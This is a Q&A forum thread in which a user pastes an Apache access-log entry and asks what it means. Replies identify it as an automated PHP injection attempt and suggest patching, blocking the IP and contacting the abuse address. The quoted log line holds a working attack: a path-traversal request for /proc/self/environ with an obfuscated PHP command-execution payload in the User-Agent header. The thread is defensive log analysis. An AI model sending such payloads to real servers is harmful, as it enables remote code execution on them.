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Apache Log Files

Posted on 2010-11-18
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Last Modified: 2012-05-10
Can anyone tell what this is doing??

./access.log.3:200.234.200.150 - - [28/Sep/2008:04:30:40 +0800] "GET /conference_proceedings/2005/forensics/includes/db_connect.php?baseDir=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 501 266 "-" "<? $x0e=\"\\145x\\x65\\x63\"; $x0f=\"\\x66eo\\146\"; $x10=\"\\x66\\x72ea\\x64\"; $x11=\"\\146un\\x63\\164io\\x6e\\x5f\\x65x\\151s\\x74\\x73\"; $x12=\"i\\163\\x5f\\162\\x65s\\157ur\\x63\\x65\"; $x13=\"\\152\\157\\x69\\156\"; $x14=\"o\\142_g\\145t\\x5f\\x63o\\156\\164en\\x74\\x73\"; $x15=\"ob\\137\\x65\\156d\\137\\x63lea\\156\"; $x16=\"\\x6fb_st\\x61\\x72\\164\"; $x17=\"\\x70\\141\\163s\\164\\x68\\162\\165\"; $x18=\"\\x70\\143\\154ose\"; $x19=\"p\\157\\160e\\x6e\"; $x1a=\"\\163h\\145\\154l\\137\\x65\\170e\\143\"; $x1b=\"\\x73\\x79s\\x74e\\x6d\"; function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b;  $x0c = ''; if (!empty($x0b)) {if($x11('exec')) {@$x0e($x0b,$x0c);$x0c = $x13(\"\\n\",$x0c); }elseif($x11('shell_exec')) {$x0c = @$x1a($x0b); }elseif($x11('system')) {@$x16();@$x1b($x0b);$x0c = @$x14();@$x15(); }elseif($x11('passthru')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d = @$x19($x0b,\"\\x72\"))){ $x0c = \"\"; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} } return $x0c;}echo x0b(\"ec\\150\\157\\x20c\\1624n\\153\\137\\x72oc\\153s\");?>"
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Question by:madstylex
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3 Comments
 
LVL 26

Accepted Solution

by:
arober11 earned 750 total points
ID: 34168936
Hi, appears someone is attempting to hack your web server, via a php injection attack, the following will give you some more details:

http://packetstormsecurity.org/files/view/80068/shell-lfi.txt

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LVL 7

Assisted Solution

by:mchkorg
mchkorg earned 750 total points
ID: 34171986
Hi,
it might be a robot trying some known security holes randomly

Is this URL familiar to you? /conference_proceedings/2005/forensics.....
If yes, be sure the corresponding software is up to date.
If not, you don't care, it's trying old security holes I guess (2005)

*and*, you might want to block this IP 200.234.200.150 in your firewall if it bothers you too much

It seems to come from an infected computer in brazil, you might contact their "abuse" email contact abuse@locaweb.com.br
The IP points to hm1099.locaweb.com.br

regards
0
 

Author Closing Comment

by:madstylex
ID: 34414644
not fully complete answer
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